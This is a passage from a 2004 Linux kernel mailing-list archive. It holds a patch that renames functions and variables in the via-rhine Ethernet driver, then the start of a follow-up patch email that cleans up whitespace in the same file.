-1218,43 +1218,43 @@ static void via_rhine_timer(unsigned lon dev->name, readw(ioaddr + IntrStatus)); } - spin_lock_irq (&np->lock); + spin_lock_irq (&rp->lock); - via_rhine_check_duplex(dev); + rhine_check_duplex(dev); /* make IFF_RUNNING follow the MII status bit "Link established" */ - mii_status = mdio_read(dev, np->phys[0], MII_BMSR); - if ( (mii_status & BMSR_LSTATUS) != (np->mii_status & BMSR_LSTATUS) ) { + mii_status = mdio_read(dev, rp->phys[0], MII_BMSR); + if ( (mii_status & BMSR_LSTATUS) != (rp->mii_status & BMSR_LSTATUS) ) { if (mii_status & BMSR_LSTATUS) netif_carrier_on(dev); else netif_carrier_off(dev); } - np->mii_status = mii_status; + rp->mii_status = mii_status; - spin_unlock_irq (&np->lock); + spin_unlock_irq (&rp->lock); - np->timer.expires = jiffies + next_tick; - add_timer(&np->timer); + rp->timer.expires = jiffies + next_tick; + add_timer(&rp->timer); } -static void via_rhine_tx_timeout (struct net_device *dev) +static void rhine_tx_timeout (struct net_device *dev) { - struct netdev_private *np = dev->priv; + struct rhine_private *rp = dev->priv; long ioaddr = dev->base_addr; printk (KERN_WARNING "%s: Transmit timed out, status %4.4x, PHY status " "%4.4x, resetting...\n", dev->name, readw (ioaddr + IntrStatus), - mdio_read (dev, np->phys[0], MII_BMSR)); + mdio_read (dev, rp->phys[0], MII_BMSR)); dev->if_port = 0; /* protect against concurrent rx interrupts */ - disable_irq(np->pdev->irq); + disable_irq(rp->pdev->irq); - spin_lock(&np->lock); + spin_lock(&rp->lock); /* Reset the chip. */ writew(CmdReset, ioaddr + ChipCmd); @@ -1266,20 +1266,20 @@ static void via_rhine_tx_timeout (struct alloc_rbufs(dev); /* Reinitialize the hardware. */ - wait_for_reset(dev, np->chip_id, dev->name); + wait_for_reset(dev, rp->chip_id, dev->name); init_registers(dev); - spin_unlock(&np->lock); - enable_irq(np->pdev->irq); + spin_unlock(&rp->lock); + enable_irq(rp->pdev->irq); dev->trans_start = jiffies; - np->stats.tx_errors++; + rp->stats.tx_errors++; netif_wake_queue(dev); } -static int via_rhine_start_tx(struct sk_buff *skb, struct net_device *dev) +static int rhine_start_tx(struct sk_buff *skb, struct net_device *dev) { - struct netdev_private *np = dev->priv; + struct rhine_private *rp = dev->priv; unsigned entry; u32 intr_status; @@ -1287,7 +1287,7 @@ static int via_rhine_start_tx(struct sk_ with the "ownership" bits last. */ /* Calculate the next Tx descriptor entry. */ - entry = np->cur_tx % TX_RING_SIZE; + entry = rp->cur_tx % TX_RING_SIZE; if (skb->len < ETH_ZLEN) { skb = skb_padto(skb, ETH_ZLEN); @@ -1295,39 +1295,39 @@ static int via_rhine_start_tx(struct sk_ return 0; } - np->tx_skbuff[entry] = skb; + rp->tx_skbuff[entry] = skb; - if ((np->drv_flags & ReqTxAlign) && + if ((rp->drv_flags & ReqTxAlign) && (((long)skb->data & 3) || skb_shinfo(skb)->nr_frags != 0 || skb->ip_summed == CHECKSUM_HW) ) { /* Must use alignment buffer. */ if (skb->len > PKT_BUF_SZ) { /* packet too long, drop it */ dev_kfree_skb(skb); - np->tx_skbuff[entry] = NULL; - np->stats.tx_dropped++; + rp->tx_skbuff[entry] = NULL; + rp->stats.tx_dropped++; return 0; } - skb_copy_and_csum_dev(skb, np->tx_buf[entry]); - np->tx_skbuff_dma[entry] = 0; - np->tx_ring[entry].addr = cpu_to_le32(np->tx_bufs_dma + - (np->tx_buf[entry] - np->tx_bufs)); + skb_copy_and_csum_dev(skb, rp->tx_buf[entry]); + rp->tx_skbuff_dma[entry] = 0; + rp->tx_ring[entry].addr = cpu_to_le32(rp->tx_bufs_dma + + (rp->tx_buf[entry] - rp->tx_bufs)); } else { - np->tx_skbuff_dma[entry] = - pci_map_single(np->pdev, skb->data, skb->len, PCI_DMA_TODEVICE); - np->tx_ring[entry].addr = cpu_to_le32(np->tx_skbuff_dma[entry]); + rp->tx_skbuff_dma[entry] = + pci_map_single(rp->pdev, skb->data, skb->len, PCI_DMA_TODEVICE); + rp->tx_ring[entry].addr = cpu_to_le32(rp->tx_skbuff_dma[entry]); } - np->tx_ring[entry].desc_length = + rp->tx_ring[entry].desc_length = cpu_to_le32(TXDESC | (skb->len >= ETH_ZLEN ? skb->len : ETH_ZLEN)); /* lock eth irq */ - spin_lock_irq (&np->lock); + spin_lock_irq (&rp->lock); wmb(); - np->tx_ring[entry].tx_status = cpu_to_le32(DescOwn); + rp->tx_ring[entry].tx_status = cpu_to_le32(DescOwn); wmb(); - np->cur_tx++; + rp->cur_tx++; /* Non-x86 Todo: explicitly flush cache lines here. */ @@ -1337,27 +1337,27 @@ static int via_rhine_start_tx(struct sk_ */ intr_status = get_intr_status(dev); if ((intr_status & IntrTxErrSummary) == 0) { - writew(CmdTxDemand | np->chip_cmd, dev->base_addr + ChipCmd); + writew(CmdTxDemand | rp->chip_cmd, dev->base_addr + ChipCmd); } IOSYNC; - if (np->cur_tx == np->dirty_tx + TX_QUEUE_LEN) + if (rp->cur_tx == rp->dirty_tx + TX_QUEUE_LEN) netif_stop_queue(dev); dev->trans_start = jiffies; - spin_unlock_irq (&np->lock); + spin_unlock_irq (&rp->lock); if (debug > 4) { printk(KERN_DEBUG "%s: Transmit frame #%d queued in slot %d.\n", - dev->name, np->cur_tx-1, entry); + dev->name, rp->cur_tx-1, entry); } return 0; } /* The interrupt handler does all of the Rx thread work and cleans up after the Tx thread. */ -static irqreturn_t via_rhine_interrupt(int irq, void *dev_instance, struct pt_regs *rgs) +static irqreturn_t rhine_interrupt(int irq, void *dev_instance, struct pt_regs *rgs) { struct net_device *dev = dev_instance; long ioaddr; @@ -1382,7 +1382,7 @@ static irqreturn_t via_rhine_interrupt(i if (intr_status & (IntrRxDone | IntrRxErr | IntrRxDropped | IntrRxWakeUp | IntrRxEmpty | IntrRxNoBuf)) - via_rhine_rx(dev); + rhine_rx(dev); if (intr_status & (IntrTxErrSummary | IntrTxDone)) { if (intr_status & IntrTxErrSummary) { @@ -1391,18 +1391,18 @@ static irqreturn_t via_rhine_interrupt(i while ((readw(ioaddr+ChipCmd) & CmdTxOn) && --cnt) udelay(5); if (debug > 2 && !cnt) - printk(KERN_WARNING "%s: via_rhine_interrupt() " + printk(KERN_WARNING "%s: rhine_interrupt() " "Tx engine still on.\n", dev->name); } - via_rhine_tx(dev); + rhine_tx(dev); } /* Abnormal error summary/uncommon events handlers. */ if (intr_status & (IntrPCIErr | IntrLinkChange | IntrStatsMax | IntrTxError | IntrTxAborted | IntrTxUnderrun | IntrTxDescRace)) - via_rhine_error(dev, intr_status); + rhine_error(dev, intr_status); if (--boguscnt < 0) { printk(KERN_WARNING "%s: Too much work at interrupt, " @@ -1420,16 +1420,16 @@ static irqreturn_t via_rhine_interrupt(i /* This routine is logically part of the interrupt handler, but isolated for clarity. */ -static void via_rhine_tx(struct net_device *dev) +static void rhine_tx(struct net_device *dev) { - struct netdev_private *np = dev->priv; - int txstatus = 0, entry = np->dirty_tx % TX_RING_SIZE; + struct rhine_private *rp = dev->priv; + int txstatus = 0, entry = rp->dirty_tx % TX_RING_SIZE; - spin_lock (&np->lock); + spin_lock (&rp->lock); /* find and cleanup dirty tx descriptors */ - while (np->dirty_tx != np->cur_tx) { - txstatus = le32_to_cpu(np->tx_ring[entry].tx_status); + while (rp->dirty_tx != rp->cur_tx) { + txstatus = le32_to_cpu(rp->tx_ring[entry].tx_status); if (debug > 6) printk(KERN_DEBUG " Tx scavenge %d status %8.8x.\n", entry, txstatus); @@ -1439,67 +1439,67 @@ static void via_rhine_tx(struct net_devi if (debug > 1) printk(KERN_DEBUG "%s: Transmit error, Tx status %8.8x.\n", dev->name, txstatus); - np->stats.tx_errors++; - if (txstatus & 0x0400) np->stats.tx_carrier_errors++; - if (txstatus & 0x0200) np->stats.tx_window_errors++; - if (txstatus & 0x0100) np->stats.tx_aborted_errors++; - if (txstatus & 0x0080) np->stats.tx_heartbeat_errors++; - if (((np->chip_id == VT86C100A) && txstatus & 0x0002) || + rp->stats.tx_errors++; + if (txstatus & 0x0400) rp->stats.tx_carrier_errors++; + if (txstatus & 0x0200) rp->stats.tx_window_errors++; + if (txstatus & 0x0100) rp->stats.tx_aborted_errors++; + if (txstatus & 0x0080) rp->stats.tx_heartbeat_errors++; + if (((rp->chip_id == VT86C100A) && txstatus & 0x0002) || (txstatus & 0x0800) || (txstatus & 0x1000)) { - np->stats.tx_fifo_errors++; - np->tx_ring[entry].tx_status = cpu_to_le32(DescOwn); + rp->stats.tx_fifo_errors++; + rp->tx_ring[entry].tx_status = cpu_to_le32(DescOwn); break; /* Keep the skb - we try again */ } /* Transmitter restarted in 'abnormal' handler. */ } else { - if (np->chip_id == VT86C100A) - np->stats.collisions += (txstatus >> 3) & 0x0F; + if (rp->chip_id == VT86C100A) + rp->stats.collisions += (txstatus >> 3) & 0x0F; else - np->stats.collisions += txstatus & 0x0F; + rp->stats.collisions += txstatus & 0x0F; if (debug > 6) printk(KERN_DEBUG "collisions: %1.1x:%1.1x\n", (txstatus >> 3) & 0xF, txstatus & 0xF); - np->stats.tx_bytes += np->tx_skbuff[entry]->len; - np->stats.tx_packets++; + rp->stats.tx_bytes += rp->tx_skbuff[entry]->len; + rp->stats.tx_packets++; } /* Free the original skb. */ - if (np->tx_skbuff_dma[entry]) { - pci_unmap_single(np->pdev, - np->tx_skbuff_dma[entry], - np->tx_skbuff[entry]->len, PCI_DMA_TODEVICE); + if (rp->tx_skbuff_dma[entry]) { + pci_unmap_single(rp->pdev, + rp->tx_skbuff_dma[entry], + rp->tx_skbuff[entry]->len, PCI_DMA_TODEVICE); } - dev_kfree_skb_irq(np->tx_skbuff[entry]); - np->tx_skbuff[entry] = NULL; - entry = (++np->dirty_tx) % TX_RING_SIZE; + dev_kfree_skb_irq(rp->tx_skbuff[entry]); + rp->tx_skbuff[entry] = NULL; + entry = (++rp->dirty_tx) % TX_RING_SIZE; } - if ((np->cur_tx - np->dirty_tx) < TX_QUEUE_LEN - 4) + if ((rp->cur_tx - rp->dirty_tx) < TX_QUEUE_LEN - 4) netif_wake_queue (dev); - spin_unlock (&np->lock); + spin_unlock (&rp->lock); } /* This routine is logically part of the interrupt handler, but isolated for clarity and better register allocation. */ -static void via_rhine_rx(struct net_device *dev) +static void rhine_rx(struct net_device *dev) { - struct netdev_private *np = dev->priv; - int entry = np->cur_rx % RX_RING_SIZE; - int boguscnt = np->dirty_rx + RX_RING_SIZE - np->cur_rx; + struct rhine_private *rp = dev->priv; + int entry = rp->cur_rx % RX_RING_SIZE; + int boguscnt = rp->dirty_rx + RX_RING_SIZE - rp->cur_rx; if (debug > 4) { - printk(KERN_DEBUG "%s: via_rhine_rx(), entry %d status %8.8x.\n", - dev->name, entry, le32_to_cpu(np->rx_head_desc->rx_status)); + printk(KERN_DEBUG "%s: rhine_rx(), entry %d status %8.8x.\n", + dev->name, entry, le32_to_cpu(rp->rx_head_desc->rx_status)); } /* If EOP is set on the next entry, it's a new packet. Send it up. */ - while ( ! (np->rx_head_desc->rx_status & cpu_to_le32(DescOwn))) { - struct rx_desc *desc = np->rx_head_desc; + while ( ! (rp->rx_head_desc->rx_status & cpu_to_le32(DescOwn))) { + struct rx_desc *desc = rp->rx_head_desc; u32 desc_status = le32_to_cpu(desc->rx_status); int data_size = desc_status >> 16; if (debug > 4) - printk(KERN_DEBUG " via_rhine_rx() status is %8.8x.\n", + printk(KERN_DEBUG " rhine_rx() status is %8.8x.\n", desc_status); if (--boguscnt < 0) break; @@ -1509,22 +1509,22 @@ static void via_rhine_rx(struct net_devi "multiple buffers, entry %#x length %d status %8.8x!\n", dev->name, entry, data_size, desc_status); printk(KERN_WARNING "%s: Oversized Ethernet frame %p vs %p.\n", - dev->name, np->rx_head_desc, &np->rx_ring[entry]); - np->stats.rx_length_errors++; + dev->name, rp->rx_head_desc, &rp->rx_ring[entry]); + rp->stats.rx_length_errors++; } else if (desc_status & RxErr) { /* There was a error. */ if (debug > 2) - printk(KERN_DEBUG " via_rhine_rx() Rx error was %8.8x.\n", + printk(KERN_DEBUG " rhine_rx() Rx error was %8.8x.\n", desc_status); - np->stats.rx_errors++; - if (desc_status & 0x0030) np->stats.rx_length_errors++; - if (desc_status & 0x0048) np->stats.rx_fifo_errors++; - if (desc_status & 0x0004) np->stats.rx_frame_errors++; + rp->stats.rx_errors++; + if (desc_status & 0x0030) rp->stats.rx_length_errors++; + if (desc_status & 0x0048) rp->stats.rx_fifo_errors++; + if (desc_status & 0x0004) rp->stats.rx_frame_errors++; if (desc_status & 0x0002) { /* this can also be updated outside the interrupt handler */ - spin_lock (&np->lock); - np->stats.rx_crc_errors++; - spin_unlock (&np->lock); + spin_lock (&rp->lock); + rp->stats.rx_crc_errors++; + spin_unlock (&rp->lock); } } } else { @@ -1538,59 +1538,59 @@ static void via_rhine_rx(struct net_devi (skb = dev_alloc_skb(pkt_len + 2)) != NULL) { skb->dev = dev; skb_reserve(skb, 2); /* 16 byte align the IP header */ - pci_dma_sync_single_for_cpu(np->pdev, np->rx_skbuff_dma[entry], - np->rx_buf_sz, PCI_DMA_FROMDEVICE); + pci_dma_sync_single_for_cpu(rp->pdev, rp->rx_skbuff_dma[entry], + rp->rx_buf_sz, PCI_DMA_FROMDEVICE); /* *_IP_COPYSUM isn't defined anywhere and eth_copy_and_sum is memcpy for all archs so this is kind of pointless right now ... or? */ #if HAS_IP_COPYSUM /* Call copy + cksum if available. */ - eth_copy_and_sum(skb, np->rx_skbuff[entry]->tail, pkt_len, 0); + eth_copy_and_sum(skb, rp->rx_skbuff[entry]->tail, pkt_len, 0); skb_put(skb, pkt_len); #else - memcpy(skb_put(skb, pkt_len), np->rx_skbuff[entry]->tail, + memcpy(skb_put(skb, pkt_len), rp->rx_skbuff[entry]->tail, pkt_len); #endif - pci_dma_sync_single_for_device(np->pdev, np->rx_skbuff_dma[entry], - np->rx_buf_sz, PCI_DMA_FROMDEVICE); + pci_dma_sync_single_for_device(rp->pdev, rp->rx_skbuff_dma[entry], + rp->rx_buf_sz, PCI_DMA_FROMDEVICE); } else { - skb = np->rx_skbuff[entry]; + skb = rp->rx_skbuff[entry]; if (skb == NULL) { printk(KERN_ERR "%s: Inconsistent Rx descriptor chain.\n", dev->name); break; } - np->rx_skbuff[entry] = NULL; + rp->rx_skbuff[entry] = NULL; skb_put(skb, pkt_len); - pci_unmap_single(np->pdev, np->rx_skbuff_dma[entry], - np->rx_buf_sz, PCI_DMA_FROMDEVICE); + pci_unmap_single(rp->pdev, rp->rx_skbuff_dma[entry], + rp->rx_buf_sz, PCI_DMA_FROMDEVICE); } skb->protocol = eth_type_trans(skb, dev); netif_rx(skb); dev->last_rx = jiffies; - np->stats.rx_bytes += pkt_len; - np->stats.rx_packets++; + rp->stats.rx_bytes += pkt_len; + rp->stats.rx_packets++; } - entry = (++np->cur_rx) % RX_RING_SIZE; - np->rx_head_desc = &np->rx_ring[entry]; + entry = (++rp->cur_rx) % RX_RING_SIZE; + rp->rx_head_desc = &rp->rx_ring[entry]; } /* Refill the Rx ring buffers. */ - for (; np->cur_rx - np->dirty_rx > 0; np->dirty_rx++) { + for (; rp->cur_rx - rp->dirty_rx > 0; rp->dirty_rx++) { struct sk_buff *skb; - entry = np->dirty_rx % RX_RING_SIZE; - if (np->rx_skbuff[entry] == NULL) { - skb = dev_alloc_skb(np->rx_buf_sz); - np->rx_skbuff[entry] = skb; + entry = rp->dirty_rx % RX_RING_SIZE; + if (rp->rx_skbuff[entry] == NULL) { + skb = dev_alloc_skb(rp->rx_buf_sz); + rp->rx_skbuff[entry] = skb; if (skb == NULL) break; /* Better luck next round. */ skb->dev = dev; /* Mark as being used by this device. */ - np->rx_skbuff_dma[entry] = - pci_map_single(np->pdev, skb->tail, np->rx_buf_sz, + rp->rx_skbuff_dma[entry] = + pci_map_single(rp->pdev, skb->tail, rp->rx_buf_sz, PCI_DMA_FROMDEVICE); - np->rx_ring[entry].addr = cpu_to_le32(np->rx_skbuff_dma[entry]); + rp->rx_ring[entry].addr = cpu_to_le32(rp->rx_skbuff_dma[entry]); } - np->rx_ring[entry].rx_status = cpu_to_le32(DescOwn); + rp->rx_ring[entry].rx_status = cpu_to_le32(DescOwn); } /* Pre-emptively restart Rx engine. */ @@ -1609,10 +1609,10 @@ static inline void clear_tally_counters( readw(ioaddr + RxMissed); } -static void via_rhine_restart_tx(struct net_device *dev) { - struct netdev_private *np = dev->priv; +static void rhine_restart_tx(struct net_device *dev) { + struct rhine_private *rp = dev->priv; long ioaddr = dev->base_addr; - int entry = np->dirty_tx % TX_RING_SIZE; + int entry = rp->dirty_tx % TX_RING_SIZE; u32 intr_status; /* @@ -1624,45 +1624,45 @@ static void via_rhine_restart_tx(struct if ((intr_status & IntrTxErrSummary) == 0) { /* We know better than the chip where it should continue. */ - writel(np->tx_ring_dma + entry * sizeof(struct tx_desc), + writel(rp->tx_ring_dma + entry * sizeof(struct tx_desc), ioaddr + TxRingPtr); - writew(CmdTxDemand | np->chip_cmd, ioaddr + ChipCmd); + writew(CmdTxDemand | rp->chip_cmd, ioaddr + ChipCmd); IOSYNC; } else { /* This should never happen */ if (debug > 1) - printk(KERN_WARNING "%s: via_rhine_restart_tx() " + printk(KERN_WARNING "%s: rhine_restart_tx() " "Another error occured %8.8x.\n", dev->name, intr_status); } } -static void via_rhine_error(struct net_device *dev, int intr_status) +static void rhine_error(struct net_device *dev, int intr_status) { - struct netdev_private *np = dev->priv; + struct rhine_private *rp = dev->priv; long ioaddr = dev->base_addr; - spin_lock (&np->lock); + spin_lock (&rp->lock); if (intr_status & (IntrLinkChange)) { if (readb(ioaddr + MIIStatus) & 0x02) { /* Link failed, restart autonegotiation. */ - if (np->drv_flags & HasDavicomPhy) - mdio_write(dev, np->phys[0], MII_BMCR, 0x3300); + if (rp->drv_flags & HasDavicomPhy) + mdio_write(dev, rp->phys[0], MII_BMCR, 0x3300); } else - via_rhine_check_duplex(dev); + rhine_check_duplex(dev); if (debug) printk(KERN_ERR "%s: MII status changed: Autonegotiation " "advertising %4.4x partner %4.4x.\n", dev->name, - mdio_read(dev, np->phys[0], MII_ADVERTISE), - mdio_read(dev, np->phys[0], MII_LPA)); + mdio_read(dev, rp->phys[0], MII_ADVERTISE), + mdio_read(dev, rp->phys[0], MII_LPA)); } if (intr_status & IntrStatsMax) { - np->stats.rx_crc_errors += readw(ioaddr + RxCRCErrs); - np->stats.rx_missed_errors += readw(ioaddr + RxMissed); + rp->stats.rx_crc_errors += readw(ioaddr + RxCRCErrs); + rp->stats.rx_missed_errors += readw(ioaddr + RxMissed); clear_tally_counters(ioaddr); } if (intr_status & IntrTxAborted) { @@ -1671,12 +1671,12 @@ static void via_rhine_error(struct net_d dev->name, intr_status); } if (intr_status & IntrTxUnderrun) { - if (np->tx_thresh < 0xE0) - writeb(np->tx_thresh += 0x20, ioaddr + TxConfig); + if (rp->tx_thresh < 0xE0) + writeb(rp->tx_thresh += 0x20, ioaddr + TxConfig); if (debug > 1) printk(KERN_INFO "%s: Transmitter underrun, Tx " "threshold now %2.2x.\n", - dev->name, np->tx_thresh); + dev->name, rp->tx_thresh); } if (intr_status & IntrTxDescRace) { if (debug > 2) @@ -1686,17 +1686,17 @@ static void via_rhine_error(struct net_d if ((intr_status & IntrTxError) && (intr_status & ( IntrTxAborted | IntrTxUnderrun | IntrTxDescRace )) == 0) { - if (np->tx_thresh < 0xE0) { - writeb(np->tx_thresh += 0x20, ioaddr + TxConfig); + if (rp->tx_thresh < 0xE0) { + writeb(rp->tx_thresh += 0x20, ioaddr + TxConfig); } if (debug > 1) printk(KERN_INFO "%s: Unspecified error. Tx " "threshold now %2.2x.\n", - dev->name, np->tx_thresh); + dev->name, rp->tx_thresh); } if (intr_status & ( IntrTxAborted | IntrTxUnderrun | IntrTxDescRace | IntrTxError )) - via_rhine_restart_tx(dev); + rhine_restart_tx(dev); if (intr_status & ~( IntrLinkChange | IntrStatsMax | IntrTxUnderrun | IntrTxError | IntrTxAborted | IntrNormalSummary | @@ -1706,27 +1706,27 @@ static void via_rhine_error(struct net_d dev->name, intr_status); } - spin_unlock (&np->lock); + spin_unlock (&rp->lock); } -static struct net_device_stats *via_rhine_get_stats(struct net_device *dev) +static struct net_device_stats *rhine_get_stats(struct net_device *dev) { - struct netdev_private *np = dev->priv; + struct rhine_private *rp = dev->priv; long ioaddr = dev->base_addr; unsigned long flags; - spin_lock_irqsave(&np->lock, flags); - np->stats.rx_crc_errors += readw(ioaddr + RxCRCErrs); - np->stats.rx_missed_errors += readw(ioaddr + RxMissed); + spin_lock_irqsave(&rp->lock, flags); + rp->stats.rx_crc_errors += readw(ioaddr + RxCRCErrs); + rp->stats.rx_missed_errors += readw(ioaddr + RxMissed); clear_tally_counters(ioaddr); - spin_unlock_irqrestore(&np->lock, flags); + spin_unlock_irqrestore(&rp->lock, flags); - return &np->stats; + return &rp->stats; } -static void via_rhine_set_rx_mode(struct net_device *dev) +static void rhine_set_rx_mode(struct net_device *dev) { - struct netdev_private *np = dev->priv; + struct rhine_private *rp = dev->priv; long ioaddr = dev->base_addr; u32 mc_filter[2]; /* Multicast hash filter */ u8 rx_mode; /* Note: 0x02=accept runt, 0x01=accept errs */ @@ -1757,66 +1757,66 @@ static void via_rhine_set_rx_mode(struct writel(mc_filter[1], ioaddr + MulticastFilter1); rx_mode = 0x0C; } - writeb(np->rx_thresh | rx_mode, ioaddr + RxConfig); + writeb(rp->rx_thresh | rx_mode, ioaddr + RxConfig); } static void netdev_get_drvinfo (struct net_device *dev, struct ethtool_drvinfo *info) { - struct netdev_private *np = dev->priv; + struct rhine_private *rp = dev->priv; strcpy (info->driver, DRV_NAME); strcpy (info->version, DRV_VERSION); - strcpy (info->bus_info, pci_name(np->pdev)); + strcpy (info->bus_info, pci_name(rp->pdev)); } static int netdev_get_settings(struct net_device *dev, struct ethtool_cmd *cmd) { - struct netdev_private *np = dev->priv; + struct rhine_private *rp = dev->priv; int rc; - if (!(np->drv_flags & CanHaveMII)) + if (!(rp->drv_flags & CanHaveMII)) return -EINVAL; - spin_lock_irq(&np->lock); - rc = mii_ethtool_gset(&np->mii_if, cmd); - spin_unlock_irq(&np->lock); + spin_lock_irq(&rp->lock); + rc = mii_ethtool_gset(&rp->mii_if, cmd); + spin_unlock_irq(&rp->lock); return rc; } static int netdev_set_settings(struct net_device *dev, struct ethtool_cmd *cmd) { - struct netdev_private *np = dev->priv; + struct rhine_private *rp = dev->priv; int rc; - if (!(np->drv_flags & CanHaveMII)) + if (!(rp->drv_flags & CanHaveMII)) return -EINVAL; - spin_lock_irq(&np->lock); - rc = mii_ethtool_sset(&np->mii_if, cmd); - spin_unlock_irq(&np->lock); + spin_lock_irq(&rp->lock); + rc = mii_ethtool_sset(&rp->mii_if, cmd); + spin_unlock_irq(&rp->lock); return rc; } static int netdev_nway_reset(struct net_device *dev) { - struct netdev_private *np = dev->priv; + struct rhine_private *rp = dev->priv; - if (!(np->drv_flags & CanHaveMII)) + if (!(rp->drv_flags & CanHaveMII)) return -EINVAL; - return mii_nway_restart(&np->mii_if); + return mii_nway_restart(&rp->mii_if); } static u32 netdev_get_link(struct net_device *dev) { - struct netdev_private *np = dev->priv; + struct rhine_private *rp = dev->priv; - if (!(np->drv_flags & CanHaveMII)) + if (!(rp->drv_flags & CanHaveMII)) return 0; /* -EINVAL */ - return mii_link_ok(&np->mii_if); + return mii_link_ok(&rp->mii_if); } static u32 netdev_get_msglevel(struct net_device *dev) @@ -1843,28 +1843,28 @@ static struct ethtool_ops netdev_ethtool static int netdev_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct netdev_private *np = dev->priv; + struct rhine_private *rp = dev->priv; struct mii_ioctl_data *data = (struct mii_ioctl_data *) & rq->ifr_data; int rc; if (!netif_running(dev)) return -EINVAL; - spin_lock_irq(&np->lock); - rc = generic_mii_ioctl(&np->mii_if, data, cmd, NULL); - spin_unlock_irq(&np->lock); + spin_lock_irq(&rp->lock); + rc = generic_mii_ioctl(&rp->mii_if, data, cmd, NULL); + spin_unlock_irq(&rp->lock); return rc; } -static int via_rhine_close(struct net_device *dev) +static int rhine_close(struct net_device *dev) { long ioaddr = dev->base_addr; - struct netdev_private *np = dev->priv; + struct rhine_private *rp = dev->priv; - del_timer_sync(&np->timer); + del_timer_sync(&rp->timer); - spin_lock_irq(&np->lock); + spin_lock_irq(&rp->lock); netif_stop_queue(dev); @@ -1873,7 +1873,7 @@ static int via_rhine_close(struct net_de dev->name, readw(ioaddr + ChipCmd)); /* Switch to loopback mode to avoid hardware races. */ - writeb(np->tx_thresh | 0x02, ioaddr + TxConfig); + writeb(rp->tx_thresh | 0x02, ioaddr + TxConfig); /* Disable interrupts by clearing the interrupt mask. */ writew(0x0000, ioaddr + IntrEnable); @@ -1881,9 +1881,9 @@ static int via_rhine_close(struct net_de /* Stop the chip's Tx and Rx processes. */ writew(CmdStop, ioaddr + ChipCmd); - spin_unlock_irq(&np->lock); + spin_unlock_irq(&rp->lock); - free_irq(np->pdev->irq, dev); + free_irq(rp->pdev->irq, dev); free_rbufs(dev); free_tbufs(dev); free_ring(dev); @@ -1892,7 +1892,7 @@ static int via_rhine_close(struct net_de } -static void __devexit via_rhine_remove_one (struct pci_dev *pdev) +static void __devexit rhine_remove_one (struct pci_dev *pdev) { struct net_device *dev = pci_get_drvdata(pdev); @@ -1910,32 +1910,32 @@ static void __devexit via_rhine_remove_o } -static struct pci_driver via_rhine_driver = { +static struct pci_driver rhine_driver = { .name = "via-rhine", - .id_table = via_rhine_pci_tbl, - .probe = via_rhine_init_one, - .remove = __devexit_p(via_rhine_remove_one), + .id_table = rhine_pci_tbl, + .probe = rhine_init_one, + .remove = __devexit_p(rhine_remove_one), }; -static int __init via_rhine_init (void) +static int __init rhine_init (void) { /* when a module, this is printed whether or not devices are found in probe */ #ifdef MODULE printk(version); #endif - return pci_module_init (&via_rhine_driver); + return pci_module_init (&rhine_driver); } -static void __exit via_rhine_cleanup (void) +static void __exit rhine_cleanup (void) { - pci_unregister_driver (&via_rhine_driver); + pci_unregister_driver (&rhine_driver); } -module_init(via_rhine_init); -module_exit(via_rhine_cleanup); +module_init(rhine_init); +module_exit(rhine_cleanup); /* --h31gzZEtNLTqOjlF-- From rl@hellgate.ch Sun May 23 03:51:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 23 May 2004 03:51:11 -0700 (PDT) Received: from mail1.bluewin.ch (mail1.bluewin.ch [195.186.1.74]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4NAp0KO024448 for ; Sun, 23 May 2004 03:51:01 -0700 Received: from k3.hellgate.ch (81.62.85.188) by mail1.bluewin.ch (Bluewin AG 7.0.028) id 40A3689F001842C1; Sun, 23 May 2004 10:50:37 +0000 Received: by k3.hellgate.ch (Postfix, from userid 1000) id 327305A333D; Sun, 23 May 2004 12:50:16 +0200 (CEST) Date: Sun, 23 May 2004 12:50:15 +0200 From: Roger Luethi To: Jeff Garzik , Andrew Morton Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: [3/4][PATCH 2.6] via-rhine: Whitespace clean-up Message-ID: <20040523105015.GA10388@k3.hellgate.ch> Mail-Followup-To: Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="PNTmBPCT7hxwcZjr" Content-Disposition: inline In-Reply-To: <20040523104650.GA9979@k3.hellgate.ch> X-Operating-System: Linux 2.6.6 on i686 X-GPG-Fingerprint: 92 F4 DC 20 57 46 7B 95 24 4E 9E E7 5A 54 DC 1B X-GPG: 1024/80E744BD wwwkeys.ch.pgp.net User-Agent: Mutt/1.5.6i X-archive-position: 5250 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rl@hellgate.ch Precedence: bulk X-list: netdev --PNTmBPCT7hxwcZjr Content-Type: text/plain; charset=us-ascii Content-Disposition: inline - Switch to 8 char tabs. - Remove kernel log pointer to the scyld web site -- it's a) fairly irrelevant by now and b) gone. - Remove Emacs Voodoo. - More white space clean up, mostly coding style. --PNTmBPCT7hxwcZjr Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="via-rhine-2.6.6-3-tabs8.diff" --- linux-2.6.6/drivers/net/via-rhine.c 2004-05-23 10:27:31.000000000 +0200 +++ linux-2.6.6-patch/drivers/net/via-rhine.c 2004-05-23 11:34:48.387242724 +0200 @@ -74,8 +74,8 @@ LK1.1.11: - David Woodhouse: Set dev->base_addr before the first time we call - wait_for_reset(). It's a lot happier that way. - Free np->tx_bufs only if we actually allocated it. + wait_for_reset(). It's a lot happier that way. + Free np->tx_bufs only if we actually allocated it. LK1.1.12: - Martin Eriksson: Allow Memory-Mapped IO to be enabled. @@ -85,7 +85,7 @@ - Replace some MII-related magic numbers with constants LK1.1.14 (Ivan G.): - - fixes comments for Rhine-III + - fixes comments for Rhine-III - removes W_MAX_TIMEOUT (unused) - adds HasDavicomPhy for Rhine-I (basis: linuxfet driver; my card is R-I and has Davicom chip, flag is referenced in kernel driver) @@ -96,10 +96,10 @@ - transmit frame queue message is off by one - fixed - adds IntrNormalSummary to "Something Wicked" exclusion list so normal interrupts will not trigger the message (src: Donald Becker) - (Roger Luethi) - - show confused chip where to continue after Tx error - - location of collision counter is chip specific - - allow selecting backoff algorithm (module parameter) + (Roger Luethi) + - show confused chip where to continue after Tx error + - location of collision counter is chip specific + - allow selecting backoff algorithm (module parameter) LK1.1.15 (jgarzik): - Use new MII lib helper generic_mii_ioctl @@ -135,7 +135,7 @@ /* A few user-configurable values. These may be modified when a driver module is loaded. */ -static int debug = 1; /* 1 normal messages, 